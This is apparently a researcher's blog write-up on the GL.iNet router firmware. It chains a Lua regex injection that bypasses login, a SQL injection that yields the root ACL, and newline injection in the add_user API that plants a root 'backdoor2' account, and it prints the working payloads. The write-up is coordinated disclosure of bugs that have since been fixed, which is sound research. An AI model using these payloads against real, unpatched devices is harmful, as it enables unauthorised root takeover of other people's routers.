Thursday, 19 October, 2023
It all started a few days ago; a friend of mine, Michele, contacted me and said he found a vulnerability in the GL.iNet firmware’s latest version. The vulnerability was an RCE (Remote Code Execution) that allowed an attacker to execute arbitrary code on the device.
He then asked me to help him ’cause that was a post-auth RCE, and he didn’t know how to bypass the login page. Driven by curiosity, I started to analyze the firmware, and I found it was a mix of harmful practices, poor programming skills, and a lot of fun.
The first thing I did was to download the firmware to analyze it with binwalk, a tool that allows you to walk the content of the binary file and match each byte against a database of known magic bytes.
By looking at the results of binwalk, we have the uImage of the kernel Linux-5.10.176 then, we have some LZMA, which is the compressed kernel itself, and then we have a SquashFS filesystem, just the typical firmware configuration.
We are interested in the SquashFS filesystem since it contains all the files that will be extracted on the device, thus the logic of the web interface. To extract it, I used the -e switch.
dzonerzy@DZONERZY-PC:$ binwalk openwrt-ar300m16-4.3.7-0913-1694589994.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------0 0x0 uImage header, header size: 64 bytes, header CRC: 0xE940DF96, created: 2023-04-09 12:27:46, image size: 2597174 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0x3EBB4A22, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-5.10.176"
64 0x40 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 8723876 bytes
2597238 0x27A176 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 12847666 bytes, 4096 inodes, blocksize: 262144 bytes, created: 2023-04-09 12:27:46
The firmware was based on OpenWRT, as we can deduct from the firmware name, so the way web APIs are handled is a mix of openwrt stuff and GL.iNet custom code, and it works roughly as follows:
1 - We have an RPC daemon that is listening on a Unix socket, which, upon receiving a request, will call ubus to forward the request to the proper handler.
2 - The ubus dispatcher, a client that will forward the request to the correct Lua handler.
3 - Then we have the /usr/sbin/gl-ngx-session, the actual Lua handler for the authentication mechanism.
Other handlers exist for different functionalities inside /usr/lib/oui-httpd/rpc/, but we are interested in the authentication mechanism, so let’s focus on that.
More info about how ubus works can be found here.
Upon a first look at the code, I noticed that the /usr/sbin/gl-ngx-session script was just Lua code (no weird C MIPS esoteric code, yay!), so I started to analyze it.
The authentication mechanism works in two steps:
1 - The user sends an RPC request calling the challenge method, which will return a random nonce, the selected user’s salt, and the crypt’s algorithm to hash the password.
2 - The user will then send the password, which should be the md5 of the concatenation of the user, password, and the nonce.
At first look, that seemed solid, but then I looked at the get_crypt_info function used to get the challenge, and that’s where things started to get interesting.
local function get_crypt_info(username)
if not username or username == "" then
return nil
end
for l in io.lines("/etc/shadow") do
local alg, salt = l:match('^' .. username .. ':%$(%d)%$(.+)%$')
if alg then
return tonumber(alg), salt
end
end
return nil
end
Does it look weird, eh?? This script loops each line inside /etc/shadow and matches it against our username. The RegEx will eventually check the following pattern:
username:$algorithm$salt$
In my opinion, what is really wrong about that code is that our username is not sanitized, but rather, it’s used as part of the RegEX, which means that if we find a way to interrupt the regex without further processing, we can make it return whatever we want to match instead of the actual alg and salt. As it turns out later, the Lua regex library is not posix compliant, so there’s no way to interrupt the regex or make it fail/stop, nor is look-ahead matching supported 😔.
Luckily, this was one of many places where regex injection was possible. Let’s look at how the second step of the authentication works.
login = {
function(req, msg)
local username, hash = msg.username, msg.hash
()
clean_gl_token
...
some boring code here
...
local sid = session_login(username, hash)
if not sid then
login_fail = login_fail + 1
if login_fail == login_fail_max_cnt then
login_fail = 0
login_wait = time_now() + login_fail_wait_time
end
ubus_conn:reply(req, { code = rpc.ERROR_CODE_ACCESS })
return
end
login_fail = 0
utils.update_ngx_session("/tmp/gl_token_" .. sid)
...
still more boring code here
...
end, { username = ubus.STRING, hash = ubus.STRING }
}
local function session_login(username, hash)
if not login_test(username, hash) then
return nil
end
local aclgroup = db.get_acl_by_username(username)
local sid = utils.generate_id(32)
sessions[sid] = {
username = username,
aclgroup = aclgroup,
timeout = time_now() + session_timeout
}
session_cnt = session_cnt + 1
return sid
end
local function login_test(username, hash)
if not username or username == "" then return false end
for l in io.lines("/etc/shadow") do
local pw = l:match('^' .. username .. ':([^:]+)')
if pw then
for nonce in pairs(nonces) do
if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
nonces[nonce] = nil
nonce_cnt = nonce_cnt - 1
return true
end
end
return false
end
end
return false
end
This time, the RegEx injection happens inside the login_test function; it tries to match everything from the first colon (the hashed password) until the next one. Luckily, this time, the regex is not strong enough ’cause the usual lines from /etc/shadow look like this:
root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::
Since we have multiple colons that could catch the regex match group, I made it return a different object rather than the hashed password, and as it turned out, that was possible.
With the following username:
root:[^:]+:[^:]+
The regex becomes
root:[^:]+:[^:]+:([^:]+)
I was able to shift forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash:
md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>
Let’s recap: to take the nonce, we use the original root username, and then on the second request, we craft the modified username, which shifts forward the match, and then we use our pre-computed hash to win the challenge.
Upon sending both requests, we are welcomed by the following response:
{
"id":7,
"jsonrpc":"2.0",
"result":{
"username":"root:[^:]+:[^:]+ ",
"sid":"NsPHdkXtENoaotxVZWLqJorU52O7J0OI"
}
}
Not all that shine is gold, and this is the case… In fact, upon logging in with the provided session ID, I got a bunch of ACCESS DENIED errors, and we were taken back to the login page.
I asked myself what was going on, and upon further analysis, I found that small piece of code preventing me from getting the flag, ehmmm ops, I mean root (that looks like a CTF).
local aclgroup = db.get_acl_by_username(username)
local sid = utils.generate_id(32)
sessions[sid] = {
username = username,
aclgroup = aclgroup,
timeout = time_now() + session_timeout
}
The issue was with the aclgroup, since that was set to blank instead of some fancy ACL name. That’s ’cause we used an invalid username (a mix of regex, luck, and magic) instead of the root string.
Upon further research in the firmware, I found the code responsible for processing the ACL… 🥁 … that’s what I found inside /usr/lib/lua/oui/db.lua:
M.get_acl_by_username = function(username)
if username == "root" then return "root" end
local db = sqlite3.open(DB)
local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)
local aclgroup = ""
for a in db:rows(sql) do
aclgroup = a[1]
end
db:close()
return aclgroup
end
Wait what?? The ACL is just a string inside a SQLite database, but
what caught my attention was that tiny %s
inside the query
(yep, that’s what you think). In fact, the username is not sanitized and
used as part of the query, which means we can inject SQL code inside the
username and make it return whatever we want.
But wait, that means our username should be both a valid regex and a valid SQL query, and that’s not possible or is it?
The trick I used here was abusing a single-character match group to inject the SQL code. In fact, the following regex is valid both for Lua and SQL injection:
roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+
Here, I remove the t character from the root string and replace it with a single character match group, which will match everything except our SQL code (note the T for the SELECT statement); clever, uhm!? 😀
This will make the query look as follows:
SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+'
This will return our beloved root ACL, and we can finally log in as root!
So far, we have exploited the vulnerability and created a botnet, but we didn’t manage to create a root account. In fact, the system/add_user API makes a regular user rather than a root one.
To create a root account, we need to exploit another vulnerability. system/add_user works by appending a new line to /etc/passwd and /etc/shadow files, obviously without sanitizing the username.
{
"jsonrpc":"2.0",
"method":"call",
"params":[
"<SESSION_ID>",
"system",
"add_user",
{
"username":"backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash\n",
"password": "fake",
"uid": 1337,
"gid": 1337,
"home": "/home/your_router",
"interpreter": "/bin/sh"
}
],
"id":1
}
We can abuse that behavior to inject a new line inside /etc/passwd and make it look like this:
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
stubby:x:410:410:stubby:/var/run/stubby:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash
:x:1005:1005:backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash
:/home/user:/bin/sh
Even if the line is malformed, the system will still parse it, and we will have a new root account named backdoor2 with the password test.
This was a really fun vuln to exploit. I hope you enjoyed it as much as I did. I reported the vuln to GL.iNet, and they fixed it in the latest firmware version, so if you have a GL.iNet device, please update it.
Have fun and happy hacking